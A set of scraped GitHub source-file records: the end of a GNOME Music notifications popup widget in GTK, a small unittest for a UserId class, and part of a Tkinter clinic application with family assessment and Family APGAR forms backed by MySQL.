song deletion\n Messages are arranged under each other\n \"\"\"\n\n __gtype_name__ = \"NotificationsPopup\"\n\n def __repr__(self):\n return ''\n\n @log\n def __init__(self):\n super().__init__()\n\n self._setup_view()\n\n @log\n def _setup_view(self):\n frame = Gtk.Frame()\n frame.get_style_context().add_class('app-notification')\n self.add(frame)\n\n self._grid = Gtk.Grid(\n row_spacing=6, orientation=Gtk.Orientation.VERTICAL)\n frame.add(self._grid)\n\n self._loading_notification = LoadingNotification()\n self._loading_notification.connect('visible', self._set_visibility)\n self._loading_notification.connect('invisible', self._set_visibility)\n self._grid.add(self._loading_notification)\n\n self.show_all()\n self._loading_notification.hide()\n\n @log\n def _hide_notifications(self, notification, remove):\n if remove:\n self._grid.remove(notification)\n self._loading_notification.hide()\n self.hide()\n\n @log\n def _set_visibility(self, notification, remove=False):\n \"\"\"Display or hide Notifications Popup.\n\n Popup is displayed if a loading is active or if a playlist\n deletion is in progress.\n \"\"\"\n invisible = ((self._loading_notification._counter == 0)\n and (len(self._grid.get_children()) <= 2))\n\n if not invisible:\n if remove:\n self._grid.remove(notification)\n self.show()\n else:\n # notification has to be removed from grid once unreveal is\n # finished. Otherwise, an empty grid will be unrevealed.\n duration = self.get_transition_duration()\n GLib.timeout_add(\n duration + 100, self._hide_notifications, notification, remove)\n self.set_reveal_child(not invisible)\n\n @log\n def pop_loading(self):\n \"\"\"Decrease loading notification counter.\n\n If it reaches zero, the notification is withdrawn.\n \"\"\"\n self._loading_notification.pop()\n\n @log\n def push_loading(self):\n \"\"\"Increase loading notification counter.\n\n If no notification is visible, start loading notification.\n \"\"\"\n self._loading_notification.push()\n\n @log\n def add_notification(self, notification):\n \"\"\"Display a new notification\n\n :param notification: notification to display\n \"\"\"\n self._grid.add(notification)\n self.show()\n self.set_reveal_child(True)\n\n @log\n def remove_notification(self, notification):\n \"\"\"Removes notification.\n\n :param notification: notification to remove\n \"\"\"\n self._set_visibility(notification, True)\n\n @log\n def terminate_pending(self):\n \"\"\"Terminate all pending playlists notifications\"\"\"\n children = self._grid.get_children()\n if len(children) > 1:\n for notification in children[:-1]:\n notification._finish_deletion()\n\n\nclass LoadingNotification(Gtk.Grid):\n \"\"\"LoadingNotification displays a loading notification message\n\n It can be triggered by different all main views. Message is\n displayed as long as at least one loading operation is in progress.\n \"\"\"\n\n __gsignals__ = {\n 'visible': (GObject.SignalFlags.RUN_FIRST, None, ()),\n 'invisible': (GObject.SignalFlags.RUN_FIRST, None, ())\n }\n\n def __repr__(self):\n return ''\n\n @log\n def __init__(self):\n super().__init__(column_spacing=18)\n self._counter = 0\n self._timeout_id = 0\n\n spinner = Gtk.Spinner()\n spinner.start()\n self.add(spinner)\n\n label = Gtk.Label(\n label=_(\"Loading\"), halign=Gtk.Align.START, hexpand=True)\n self.add(label)\n self.show_all()\n\n @log\n def pop(self):\n \"\"\"Decrease the counter. Hide notification if it reaches 0.\"\"\"\n self._counter = self._counter - 1\n\n if self._counter == 0:\n # Stop the timeout if necessary\n if self._timeout_id > 0:\n if not self.is_visible():\n GLib.source_remove(self._timeout_id)\n self._timeout_id = 0\n self.emit('invisible')\n\n @log\n def push(self):\n \"\"\"Increase the counter. Start notification if necessary.\"\"\"\n def callback():\n self.show_all()\n self.emit('visible')\n\n if self._counter == 0:\n # Only show the notification after a small delay, thus\n # add a timeout. 500ms feels good enough.\n self._timeout_id = GLib.timeout_add(500, callback)\n\n self._counter = self._counter + 1\n\n\nclass PlaylistNotification(Gtk.Grid):\n \"\"\"Show a notification on playlist or song deletion.\n\n It also provides an option to undo removal. Notification is added\n to the NotificationsPopup.\n \"\"\"\n\n class Type(IntEnum):\n \"\"\"Enum for Playlists Notifications\"\"\"\n PLAYLIST = 0\n SONG = 1\n\n def __repr__(self):\n return ''\n\n @log\n def __init__(\n self, notifications_popup, coremodel, type_, playlist,\n position=None, coresong=None):\n \"\"\"Creates a playlist deletion notification popup (song or playlist)\n\n :param GtkRevealer: notifications_popup: the popup object\n :param CoreModel: core model\n :param type_: NotificationType (song or playlist)\n :param Playlist playlist: playlist\n :param int position: position of the object to delete\n :param object coresong: CoreSong for song deletion\n \"\"\"\n super().__init__(column_spacing=18)\n self._notifications_popup = notifications_popup\n self._coremodel = coremodel\n self.type_ = type_\n self._playlist = playlist\n self._position = position\n self._coresong = coresong\n\n message = self._create_notification_message()\n self._label = Gtk.Label(\n label=message, halign=Gtk.Align.START, hexpand=True)\n self.add(self._label)\n\n undo_button = Gtk.Button.new_with_mnemonic(_(\"_Undo\"))\n undo_button.connect(\"clicked\", self._undo_deletion)\n self.add(undo_button)\n self.show_all()\n\n if self.type_ == PlaylistNotification.Type.PLAYLIST:\n self._coremodel.stage_playlist_deletion(self._playlist)\n else:\n playlist.stage_song_deletion(self._coresong, position)\n\n self._timeout_id = GLib.timeout_add_seconds(5, self._finish_deletion)\n self._notifications_popup.add_notification(self)\n\n def _create_notification_message(self):\n if self.type_ == PlaylistNotification.Type.PLAYLIST:\n msg = _(\"Playlist {} removed\".format(self._playlist.props.title))\n else:\n playlist_title = self._playlist.props.title\n song_title = self._coresong.props.title\n msg = _(\"{} removed from {}\".format(\n song_title, playlist_title))\n\n return msg\n\n @log\n def _undo_deletion(self, widget_):\n \"\"\"Undo deletion and remove notification\"\"\"\n if self._timeout_id > 0:\n GLib.source_remove(self._timeout_id)\n self._timeout_id = 0\n\n self._notifications_popup.remove_notification(self)\n if self.type_ == PlaylistNotification.Type.PLAYLIST:\n self._coremodel.finish_playlist_deletion(self._playlist, False)\n else:\n self._playlist.undo_pending_song_deletion(\n self._coresong, self._position)\n\n def _finish_deletion(self):\n self._notifications_popup.remove_notification(self)\n if self.type_ == PlaylistNotification.Type.PLAYLIST:\n self._coremodel.finish_playlist_deletion(self._playlist, True)\n else:\n self._playlist.finish_song_deletion(self._coresong)\n","repo_name":"Honza0297/test","sub_path":"gnomemusic/widgets/notificationspopup.py","file_name":"notificationspopup.py","file_ext":"py","file_size_in_byte":8219,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"35330789305","text":"# coding: utf-8\nimport sys\nimport unittest\n\nfrom ffgetter.value_object.UserId import UserId\n\n\nclass TestUserId(unittest.TestCase):\n def test_UserId(self):\n id_num = 12345678\n user_id = UserId(id_num)\n user_id = UserId(0)\n\n with self.assertRaises(TypeError):\n user_id = UserId(\"12345678\")\n with self.assertRaises(ValueError):\n user_id = UserId(-1)\n\n def test_id_num(self):\n id_num = 12345678\n user_id = UserId(id_num)\n self.assertTrue(isinstance(user_id.id, int))\n self.assertEqual(id_num, user_id.id)\n self.assertTrue(isinstance(user_id.id_str, str))\n self.assertEqual(str(id_num), user_id.id_str)\n\n\nif __name__ == \"__main__\":\n if sys.argv:\n del sys.argv[1:]\n unittest.main(warnings=\"ignore\")\n","repo_name":"shift4869/FFGetter","sub_path":"tests/value_object/Test_UserId.py","file_name":"Test_UserId.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"16919692073","text":"try:\n\timport tkinter as tk\n\tfrom tkinter import ttk\nexcept ImportError:\n\timport Tkinter as tk\n\timport ttk\n\nfrom tkcalendar import DateEntry\nfrom tkinter import font as tkfont\nfrom functools import partial\nfrom tkinter import messagebox\nimport datetime as dt\n\nimport database.config as cfg\n\ndef menu_frame(self, controller, num):\n\tmenu_frame = tk.Frame(self, height = 60, width = 1200, bg = \"#b1c3e6\")\n\tmenu_frame.pack(side=\"top\")\n\n\tback_bttn = tk.Button(menu_frame, text=\"<\", command=lambda: controller.show_frame(\"LandingPage\"), height = 2, width = 5, bd = 0, bg = \"#043c39\", fg = \"#ffffff\")\n\tback_bttn.place(x=5, y=23)\n\tbttn1 = tk.Button(menu_frame, text=\"Patient Consultation Form\", command=lambda: controller.show_frame(\"PatientForm\"), height = 3, width = 30, bd = 0, bg = \"#dbdbdb\", wraplength = 180)\n\tbttn1.place(x=60, y=9)\n\tbttn2 = tk.Button(menu_frame, text=\"Geriatric Depression Scale – Short Form\", command=lambda: controller.show_frame(\"GeriatricForm\"), height = 3, width = 30, bd = 0, bg = \"#dbdbdb\", wraplength = 180)\n\tbttn2.place(x=285, y=9)\n\tbttn3 = tk.Button(menu_frame, text=\"First Consultation Record\", command=lambda: controller.show_frame(\"FirstConsForm\"), height = 3, width = 30, bd = 0, bg = \"#dbdbdb\", wraplength = 180)\n\tbttn3.place(x=510, y=9)\n\tbttn4 = tk.Button(menu_frame, text=\"Family Assessment Tools\", command=lambda: controller.show_frame(\"FamAssessForm\"), height = 3, width = 30, bd = 0, bg = \"#dbdbdb\", wraplength = 180)\n\tbttn4.place(x=735, y=9)\n\tbttn5 = tk.Button(menu_frame, text=\"Additional Form\", command=lambda: controller.show_frame(\"followup_patient_form\"), height = 3, width = 30, bd = 0, bg = \"#dbdbdb\", wraplength = 180)\n\tbttn5.place(x=960, y=9)\n\n\tif(num == 1):\n\t\tbttn1.config(height = 3, width = 30, bd = 0, wraplength = 180, bg = \"SystemButtonFace\")\n\telif(num == 2):\n\t\tbttn2.config(height = 3, width = 30, bd = 0, wraplength = 180, bg = \"SystemButtonFace\")\n\telif(num == 3):\n\t\tbttn3.config(height = 3, width = 30, bd = 0, wraplength = 180, bg = \"SystemButtonFace\")\n\telif(num == 4):\n\t\tbttn4.config(height = 3, width = 30, bd = 0, wraplength = 180, bg = \"SystemButtonFace\")\n\telse:\n\t\tbttn5.config(height = 3, width = 30, bd = 0, wraplength = 180, bg = \"SystemButtonFace\")\n\ndef submenu_buttons_2(self, controller, num):\n\tside_menu_frame = tk.Frame(self, height = 720, width = 200)\n\tside_menu_frame.pack(side=\"left\")\n\n\tb1 = tk.Button(side_menu_frame, text=\"Family Assessment Tools\", command=lambda: controller.show_frame(\"FamAssessForm\"), height = 3, width = 25, bd = 0, bg = \"#183873\", fg = \"#ffffff\", wraplength = 150)\n\tb1.place(x=25, y=160)\n\tb2 = tk.Button(side_menu_frame, text=\"Family APGAR\", command=lambda: controller.show_frame(\"family_apgar_form\"), height = 3, width = 25, bd = 0, bg = \"#183873\", fg = \"#ffffff\", wraplength = 150)\n\tb2.place(x=25, y=220)\n\n\tif(num == 1):\n\t\tb1.config(bg = \"#2553a8\")\n\telse:\n\t\tb2.config(bg = \"#2553a8\")\n\nclass FamAssessForm(tk.Frame): # Form contaning the Genogram, Family Map, ECOMAP, and Family Wellness Plan\n\n\tdef __init__(self, parent, controller):\n\t\ttk.Frame.__init__(self, parent)\n\t\tself.controller = controller\n\t\tmenu_frame(self, self.controller, 4)\n\t\tsubmenu_buttons_2(self, self.controller, 1)\n\n\t\tform_frame = tk.Frame(self, height = 720, width = 1000)\n\t\tform_frame.pack(side=\"left\")\n\n\t\tself.title_font = tkfont.Font(family='Times New Roman', size=10, weight=\"bold\")\n\t\tself.label_font = tkfont.Font(family='Helvetica', size = 8)\n\t\tself.label_font_2 = tkfont.Font(family='Helvetica', size = 8, weight=\"bold\")\n\t\tself.notes_font = tkfont.Font(family='Helvetica', size = 8, slant=\"italic\")\n\n\t\tlabel = tk.Label(form_frame, text=\"FAMILY ASSESSMENT TOOLS\", font=self.title_font)\n\t\tlabel.place(x=375, y=15)\n\n\t\tself.genogram = tk.Text(form_frame, height = 8, width = 30, wrap=\"word\")\n\t\tself.genogram.place(x=90, y=80)\n\t\tgenogram_label = tk.Label(form_frame, text=\"A. Genogram\", font=self.label_font, fg=\"#636363\")\n\t\tgenogram_label.place(x=90, y=60)\n\n\t\tself.fammap = tk.Text(form_frame, height = 8, width = 30, wrap=\"word\")\n\t\tself.fammap.place(x=375, y=80)\n\t\tfammap_label = tk.Label(form_frame, text=\"B. Family Map\", font=self.label_font, fg=\"#636363\")\n\t\tfammap_label.place(x=375, y=60)\n\n\t\tself.ecomap = tk.Text(form_frame, height = 8, width = 30, wrap=\"word\")\n\t\tself.ecomap.place(x=660, y=80)\n\t\tecomap_label = tk.Label(form_frame, text=\"C. ECOMAP\", font=self.label_font, fg=\"#636363\")\n\t\tecomap_label.place(x=660, y=60)\n\n\t\ttk.Button(form_frame, text=\"Add Details\", command=lambda: self.add_details_map(self.genogram.get('1.0', 'end-1c'), self.fammap.get('1.0', 'end-1c'), self.ecomap.get('1.0', 'end-1c')), height = 2, width = 15, bd = 0, bg = \"#259400\", fg = \"#ffffff\", activebackground = \"#cf0007\").place(x=335, y=230)\n\t\tself.edit_bttn = tk.Button(form_frame, text=\"Edit\", command=lambda: self.edit(), height = 2, width = 15, bd = 0, bg = \"#183873\", fg = \"#ffffff\", activebackground = \"#cf0007\")\n\t\tself.edit_bttn.place(x=525, y=230)\n\t\tself.edit_bttn.config(state = \"disabled\")\n\n\t\ttk.Label(form_frame, text=\"________\"*17, font=self.label_font, fg=\"#636363\").place(x=605, y=275)\n\n\t\tfam_wellness_label = tk.Label(form_frame, text=\"Family Wellness Plan\", font=self.label_font_2)\n\t\tfam_wellness_label.place(x=90, y=280)\n\t\tfam_wellness_dir_label = tk.Label(form_frame, text=\"List down wellness plan and put a check mark after when completed.\", font=self.notes_font, fg=\"#636363\")\n\t\tfam_wellness_dir_label.place(x=90, y=295)\n\n\t\tfam_member_label = tk.Label(form_frame, text=\"Family Member\", font=self.label_font, fg=\"#636363\")\n\t\tfam_member_label.place(x=110, y=320)\n\t\tself.fam_member = tk.Text(form_frame, height = 1, width = 35, wrap=\"word\")\n\t\tself.fam_member.place(x=110, y=340)\n\n\t\tscrnning_label = tk.Label(form_frame, text=\"Screening Test\", font=self.label_font, fg=\"#636363\")\n\t\tscrnning_label.place(x=430, y=320)\n\n\t\timmno_label = tk.Label(form_frame, text=\"Immunization\", font=self.label_font, fg=\"#636363\")\n\t\timmno_label.place(x=530, y=320)\n\n\t\tlfstyle_label = tk.Label(form_frame, text=\"Lifestyle Changes\", font=self.label_font, fg=\"#636363\")\n\t\tlfstyle_label.place(x=630, y=320)\n\n\t\tcnsling_label = tk.Label(form_frame, text=\"Counseling needs\", font=self.label_font, fg=\"#636363\")\n\t\tcnsling_label.place(x=730, y=320)\n\n\t\tself.lob = []\n\t\tself.b_var = []\n\n\t\tself.screening_var = 0\n\t\tself.immunization_var = 0\n\t\tself.lifestyle_var = 0\n\t\tself.counseling_var = 0\n\n\t\tx_value = 440\n\n\t\tfor i in range(4):\n\t\t\tself.b_var.append(0)\n\t\t\tb = tk.Button(form_frame, text=\"✓\", command=partial(self.set_var, i), height = 1, width = 5, bd = 1, fg = \"#000000\", bg = \"#e3e3e3\")\n\t\t\tb.place(x=x_value, y=340)\n\t\t\tself.lob.append(b)\n\t\t\tx_value = x_value + 100\n\n\t\ttk.Label(form_frame, text=\"________\"*17, font=self.label_font, fg=\"#636363\").place(x=90, y=370)\n\n\t\tself.tree = ttk.Treeview(form_frame, height = 8, columns=(\"A\", \"B\", \"C\", \"D\"))\n\t\tself.tree.heading(\"#0\", text=\"Family Member\")\n\t\tself.tree.heading(\"A\", text=\"Screening Test\")\n\t\tself.tree.heading(\"B\", text=\"Immunization\")\n\t\tself.tree.heading(\"C\", text=\"Lifestyle Changes\")\n\t\tself.tree.heading(\"D\", text=\"Counseling needs\")\n\t\tself.tree.column(\"#0\", minwidth=0, width=300, stretch=\"no\")\n\t\tself.tree.column(\"A\", minwidth=0, width=120, stretch=\"no\") \n\t\tself.tree.column(\"B\", minwidth=0, width=120, stretch=\"no\") \n\t\tself.tree.column(\"C\", minwidth=0, width=120, stretch=\"no\") \n\t\tself.tree.column(\"D\", minwidth=0, width=120, stretch=\"no\") \n\t\tvsb = ttk.Scrollbar(orient=\"vertical\", command=self.tree.yview)\n\t\tself.tree.configure(yscrollcommand=vsb.set)\n\t\tself.tree.place(x=110, y=410)\n\n\t\ttk.Button(form_frame, text=\"Add\", command=lambda: self.add_details(self.fam_member.get('1.0', 'end-1c'), self.screening_var, self.immunization_var, self.lifestyle_var, self.counseling_var), height = 2, width = 5, bd = 0, bg = \"#259400\", fg = \"#ffffff\", activebackground = \"#cf0007\").place(x=850, y=320)\n\n\tdef edit(self):\n\t\tself.genogram.config(state = \"normal\", bg = \"#ffffff\")\n\t\tself.fammap.config(state = \"normal\", bg = \"#ffffff\")\n\t\tself.ecomap.config(state = \"normal\", bg = \"#ffffff\")\n\n\tdef set_var(self, i):\n\t\tif self.b_var[i] == 0:\n\t\t\tself.b_var[i] = 1\n\t\t\tvote = self.b_var[i]\n\t\telse:\n\t\t\tself.b_var[i] = 0\n\t\t\tvote = self.b_var[i]\n\n\n\t\tif i == 0:\n\t\t\tif vote == 1:\n\t\t\t\tself.screening_var = 1\n\t\t\t\t(self.lob[i]).config(bg = \"#0060ba\", fg = \"#ffffff\")\n\t\t\telse:\n\t\t\t\tself.screening_var = 0\n\t\t\t\t(self.lob[i]).config(fg = \"#000000\", bg = \"#e3e3e3\")\n\t\telif i == 1:\n\t\t\tif vote == 1:\n\t\t\t\tself.immunization_var = 1\n\t\t\t\t(self.lob[i]).config(bg = \"#0060ba\", fg = \"#ffffff\")\n\t\t\telse:\n\t\t\t\tself.immunization_var = 0\n\t\t\t\t(self.lob[i]).config(fg = \"#000000\", bg = \"#e3e3e3\")\n\t\telif i == 2:\n\t\t\tif vote == 1:\n\t\t\t\tself.lifestyle_var = 1\n\t\t\t\t(self.lob[i]).config(bg = \"#0060ba\", fg = \"#ffffff\")\n\t\t\telse:\n\t\t\t\tself.lifestyle_var = 0\n\t\t\t\t(self.lob[i]).config(fg = \"#000000\", bg = \"#e3e3e3\")\n\t\telse:\n\t\t\tif vote == 1:\n\t\t\t\tself.counseling_var = 1\n\t\t\t\t(self.lob[i]).config(bg = \"#0060ba\", fg = \"#ffffff\")\n\t\t\telse:\n\t\t\t\tself.counseling_var = 0\n\t\t\t\t(self.lob[i]).config(fg = \"#000000\", bg = \"#e3e3e3\")\n\n\tdef add_details_map(self, genogram, fammap, ecomap):\n\t\tcn = cfg.dbconnect()\n\t\tcur = cn.cursor(buffered=True)\n\t\t\n\t\tcur.execute((\"SELECT patient_id FROM patientfamassessment WHERE patient_id = %s\"), (self.controller.patient_id.get(),))\n\t\tres = cur.fetchone()\n\t\tif res is None:\n\t\t\tcur.execute((\"INSERT INTO patientfamassessment (genogram, family_map, ecomap, patient_id) VALUES (%s, %s, %s, %s)\"), (genogram, fammap, ecomap, self.controller.patient_id.get()))\n\t\t\tmydb.commit()\n\t\telse:\n\t\t\tcur.execute((\"UPDATE patientfamassessment SET genogram = %s, family_map = %s, ecomap = %s WHERE patient_id = %s\"), (genogram, fammap, ecomap, self.controller.patient_id.get()))\n\t\t\tmydb.commit()\n\n\t\tself.genogram.config(state = \"disabled\", bg = \"#c4c4c4\")\n\t\tself.fammap.config(state = \"disabled\", bg = \"#c4c4c4\")\n\t\tself.ecomap.config(state = \"disabled\", bg = \"#c4c4c4\")\n\t\tself.edit_bttn.config(state = \"normal\")\n\n\tdef add_details(self, name, scr_in, if_in, lf_in, c_in):\n\t\tcn = cfg.dbconnect()\n\t\tcur = cn.cursor(buffered=True)\n\t\t\n\t\tif name == \"\":\n\t\t\tmessagebox.showwarning(\"Warning\", \"Please input a family member\")\n\t\telse:\n\t\t\tcur.execute((\"SELECT member_name FROM patientfammember WHERE patient_id = %s and member_name = %s\"), (self.controller.patient_id.get(), name))\n\t\t\tres = cur.fetchone()\n\t\t\tif res is None:\n\t\t\t\tcur.execute((\"INSERT INTO patientfammember (member_name, screening, immunization, lifestyle_changes, counseling_needs, patient_id) VALUES (%s, %s, %s, %s, %s, %s)\"), (name, int(scr_in), int(if_in), int(lf_in), int(c_in), self.controller.patient_id.get()))\n\t\t\t\tmydb.commit()\n\t\t\telse:\n\t\t\t\tcur.execute((\"UPDATE patientfammember SET member_name = %s, screening = %s, immunization = %s, lifestyle_changes = %s, counseling_needs = %s WHERE patient_id = %s and member_name = %s\"), (name, int(scr_in), int(if_in), int(lf_in), int(c_in), self.controller.patient_id.get(), name))\n\t\t\t\tmydb.commit()\n\n\t\t\tid = self.tree.insert('', 'end', text=name)\n\t\t\tif scr_in == 1:\n\t\t\t\tself.tree.set(id, 'A', \"Yes\")\n\t\t\telse:\n\t\t\t\tself.tree.set(id, 'A', \"No\")\n\n\t\t\tif if_in == 1:\n\t\t\t\tself.tree.set(id, 'B', \"Yes\")\n\t\t\telse:\n\t\t\t\tself.tree.set(id, 'B', \"No\")\n\n\t\t\tif lf_in == 1:\n\t\t\t\tself.tree.set(id, 'C', \"Yes\")\n\t\t\telse:\n\t\t\t\tself.tree.set(id, 'C', \"No\")\n\n\t\t\tif c_in == 1:\n\t\t\t\tself.tree.set(id, 'D', \"Yes\")\n\t\t\telse:\n\t\t\t\tself.tree.set(id, 'D', \"No\")\n\n\t\t\tself.fam_member.delete('1.0', 'end')\n\n\t\t\tself.screening_var = 0\n\t\t\tself.immunization_var = 0\n\t\t\tself.lifestyle_var = 0\n\t\t\tself.counseling_var = 0\n\t\t\t\n\t\t\tfor i in range(4):\n\t\t\t\t(self.lob[i]).config(fg = \"#000000\", bg = \"#e3e3e3\")\n\n\tdef load_data(self):\n\t\tcn = cfg.dbconnect()\n\t\tcur = cn.cursor(buffered=True)\n\t\t\n\t\tself.genogram.delete('1.0', 'end')\n\t\tself.fammap.delete('1.0', 'end')\n\t\tself.ecomap.delete('1.0', 'end')\n\t\t\n\t\tcur.execute((\"SELECT genogram, family_map, ecomap FROM patientfamassessment WHERE patient_id = %s\"), (self.controller.patient_id.get(),))\n\t\tres = cur.fetchone()\n\n\t\tif res is not None:\n\t\t\tif res[0] is not None:\n\t\t\t\tself.genogram.insert('1.0', res[0])\n\t\t\tif res[1] is not None:\n\t\t\t\tself.fammap.insert('1.0', res[1])\n\t\t\tif res[2] is not None:\n\t\t\t\tself.ecomap.insert('1.0', res[2])\n\t\t\tself.genogram.config(state = \"disabled\", bg = \"#e8e8e8\")\n\t\t\tself.fammap.config(state = \"disabled\", bg = \"#e8e8e8\")\n\t\t\tself.ecomap.config(state = \"disabled\", bg = \"#e8e8e8\")\n\t\t\tself.edit_bttn.config(state = \"normal\")\n\t\telse:\n\t\t\tself.genogram.delete('1.0', 'end')\n\t\t\tself.fammap.delete('1.0', 'end')\n\t\t\tself.ecomap.delete('1.0', 'end')\n\n\t\tself.fam_member.delete('1.0', 'end')\n\n\t\tcur.execute((\"SELECT member_name, screening, immunization, lifestyle_changes, counseling_needs FROM patientfammember WHERE patient_id = %s\"), (self.controller.patient_id.get(),))\n\t\tres = cur.fetchall()\n\n\t\tself.tree.delete(*self.tree.get_children())\n\n\t\tfor i in range(len(res)):\n\t\t\tid = self.tree.insert('', 'end', text=res[i][0])\n\t\t\tif res[i][1] == 1:\n\t\t\t\tself.tree.set(id, 'A', \"Yes\")\n\t\t\telse:\n\t\t\t\tself.tree.set(id, 'A', \"No\")\n\n\t\t\tif res[i][2] == 1:\n\t\t\t\tself.tree.set(id, 'B', \"Yes\")\n\t\t\telse:\n\t\t\t\tself.tree.set(id, 'B', \"No\")\n\n\t\t\tif res[i][3] == 1:\n\t\t\t\tself.tree.set(id, 'C', \"Yes\")\n\t\t\telse:\n\t\t\t\tself.tree.set(id, 'C', \"No\")\n\n\t\t\tif res[i][4] == 1:\n\t\t\t\tself.tree.set(id, 'D', \"Yes\")\n\t\t\telse:\n\t\t\t\tself.tree.set(id, 'D', \"No\")\n\nclass family_apgar_form(tk.Frame): # Form containing the Family APGAR form \n\n\tdef __init__(self, parent, controller):\n\t\ttk.Frame.__init__(self, parent)\n\t\tself.controller = controller\n\t\tmenu_frame(self, self.controller, 4)\n\t\tsubmenu_buttons_2(self, self.controller, 2)\n\n\t\tself.title_font = tkfont.Font(family='Times New Roman', size=12, weight=\"bold\")\n\t\tself.subtitle_font = tkfont.Font(family='Helvetica', size=9, weight=\"bold\")\n\t\tself.label_font = tkfont.Font(family='Helvetica', size=8, slant=\"italic\")\n\t\tself.label_font2 = tkfont.Font(family='Helvetica', size=8, weight=\"bold\")\n\t\tself.label_font3 = tkfont.Font(family='Helvetica', size=10, weight=\"bold\", slant=\"italic\")\n\n\t\tform_frame = tk.Frame(self, height = 720, width = 1000)\n\t\tform_frame.pack(side=\"left\")\n\n\t\twith open(\"./data/APGAR.txt\", 'r') as f:\n\t\t\tapgar_questions = f.read().splitlines()\n\t\tf.close()\n\n\t\tquestion_label = tk.Label(form_frame, text=\"Areas of the APGAR\", font=self.subtitle_font)\n\t\tquestion_label.place(x=110, y=25)\n\n\t\ty_value = 70\n\n\t\tfam_num_1_label = tk.Label(form_frame, text=\"Family Member 1\", font=self.subtitle_font, wraplength=70)\n\t\tfam_num_1_label.place(x=505, y=25)\n\n\t\tfam_num_2_label = tk.Label(form_frame, text=\"Family Member 2\", font=self.subtitle_font, wraplength=70)\n\t\tfam_num_2_label.place(x=645, y=25)\n\n\t\taverage_label = tk.Label(form_frame, text=\"Average\", font=self.subtitle_font, wraplength=70)\n\t\taverage_label.place(x=780, y=25)\n\n\t\tself.apgar_var = []\n\t\tself.apgar_cb = []\n\t\tself.average = []\n\t\tself.vote_1_arr = []\n\t\tself.vote_2_arr = []\n\t\tself.avg_vote = []\n\t\tself.vote_1 = 0\n\t\tself.vote_2 = 0\n\t\tself.avg_value = 0\n\n\t\tfor i in range(0, len(apgar_questions), 2):\n\t\t\tcLabelFrame = tk.Frame(form_frame)\n\t\t\tcLabelFrame.place(x=90, y=y_value)\n\n\t\t\ttk.Label(cLabelFrame, text=apgar_questions[i], font=self.label_font, wraplength=350, justify=\"left\").grid(row=0, column=0, sticky=\"w\")\n\t\t\ttk.Label(cLabelFrame, text=apgar_questions[i+1], font=self.label_font2, wraplength=350, justify=\"left\").grid(row=1, column=0, sticky=\"w\")\n\n\t\t\tvar = []\n\t\t\tcb_arr = []\n\t\t\tvar.append(tk.IntVar(self))\n\t\t\tcb = tk.Checkbutton(form_frame, text=\"0\", variable=var[0])\n\t\t\tcb.place(x=480, y=y_value)\n\t\t\tcb_arr.append(cb)\n\n\t\t\tvar.append(tk.IntVar(self))\n\t\t\tcb = tk.Checkbutton(form_frame, text=\"1\", variable=var[1])\n\t\t\tcb.place(x=520, y=y_value)\n\t\t\tcb_arr.append(cb)\n\n\t\t\tvar.append(tk.IntVar(self))\n\t\t\tcb = tk.Checkbutton(form_frame, text=\"2\", variable=var[2])\n\t\t\tcb.place(x=560, y=y_value)\n\t\t\tcb_arr.append(cb)\n\n\t\t\tvar.append(tk.IntVar(self))\n\t\t\tcb = tk.Checkbutton(form_frame, text=\"0\", variable=var[3])\n\t\t\tcb.place(x=620, y=y_value)\n\t\t\tcb_arr.append(cb)\n\n\t\t\tvar.append(tk.IntVar(self))\n\t\t\tcb = tk.Checkbutton(form_frame, text=\"1\", variable=var[4])\n\t\t\tcb.place(x=660, y=y_value)\n\t\t\tcb_arr.append(cb)\n\n\t\t\tvar.append(tk.IntVar(self))\n\t\t\tcb = tk.Checkbutton(form_frame, text=\"2\", variable=var[5])\n\t\t\tcb.place(x=700, y=y_value)\n\t\t\tcb_arr.append(cb)\n\n\t\t\tcb_arr[0].config(command=partial(self.check_cb, cb_arr, var, 0, self.average, (i//2)))\n\t\t\tcb_arr[1].config(command=partial(self.check_cb, cb_arr, var, 1, self.average, (i//2)))\n\t\t\tcb_arr[2].config(command=partial(self.check_cb, cb_arr, var, 2, self.average, (i//2)))\n\t\t\tcb_arr[3].config(command=partial(self.check_cb, cb_arr, var, 3, self.average, (i//2)))\n\t\t\tcb_arr[4].config(command=partial(self.check_cb, cb_arr, var, 4, self.average, (i//2)))\n\t\t\tcb_arr[5].config(command=partial(self.check_cb, cb_arr, var, 5, self.average, (i//2)))\n\n\t\t\tself.apgar_var.append(var)\n\t\t\tself.apgar_cb.append(cb_arr)\n\t\t\tself.vote_1_arr.append(0)\n\t\t\tself.vote_2_arr.append(0)\n\t\t\tself.avg_vote.append(0)\n\n\t\t\tavg_txt = tk.Label(form_frame, text=\"\", font=self.label_font3)\n\t\t\tavg_txt.place(x=795, y=y_value)\n\n\t\t\tself.average.append(avg_txt)\n\n\t\t\ty_value = y_value + 100\n\n\t\toverall_label = tk.Label(form_frame, text=\"Overall Assessment\", font=self.subtitle_font)\n\t\toverall_label.place(x=110, y=y_value-30)\n\n\t\tself.overall_f1_txt = tk.Label(form_frame, text=\"\", font=self.label_font, wraplength=120)\n\t\tself.overall_f1_txt.place(x=485, y=y_value-30)\n\n\t\tself.overall_f2_txt = tk.Label(form_frame, text=\"\", font=self.label_font, wraplength=120)\n\t\tself.overall_f2_txt.place(x=625, y=y_value-30)\n\n\t\tself.overall_avg_txt = tk.Label(form_frame, text=\"\", font=self.label_font, wraplength=120)\n\t\tself.overall_avg_txt.place(x=775, y=y_value-30)\n\n\t\ttk.Label(form_frame, text=\"*Score: 0-hardly ever (halos hindi), 1-some of the time (minsan), 2-almost always (palagi)\", font=self.label_font, fg=\"#636363\").place(x=110, y=y_value+ 10)\n\t\ttk.Label(form_frame, text=\"*Interpretation: 0-3 severely dysfunctional, 4-6 moderately dysfunctional, 7-10 highly functional\", font=self.label_font, fg=\"#636363\").place(x=110, y=y_value + 30)\n\n\t\tself.sub_bttn = tk.Button(form_frame, text=\"Submit\", command=lambda: self.submit(), height = 1, width = 12, bd = 0, bg = \"#183873\", fg = \"#ffffff\")\n\t\tself.sub_bttn.place(x=660, y=y_value + 10)\n\n\t\tself.res_bttn = tk.Button(form_frame, text=\"Show Results\", command=lambda: controller.show_frame(\"family_apgar_form_res\"), height = 1, width = 12, bd = 0, bg = \"#183873\", fg = \"#ffffff\")\n\t\tself.res_bttn.place(x=820, y=y_value + 10)\n\t\tself.res_bttn.config(state = \"disabled\")\n\n\tdef load_data(self):\n\t\tcn = 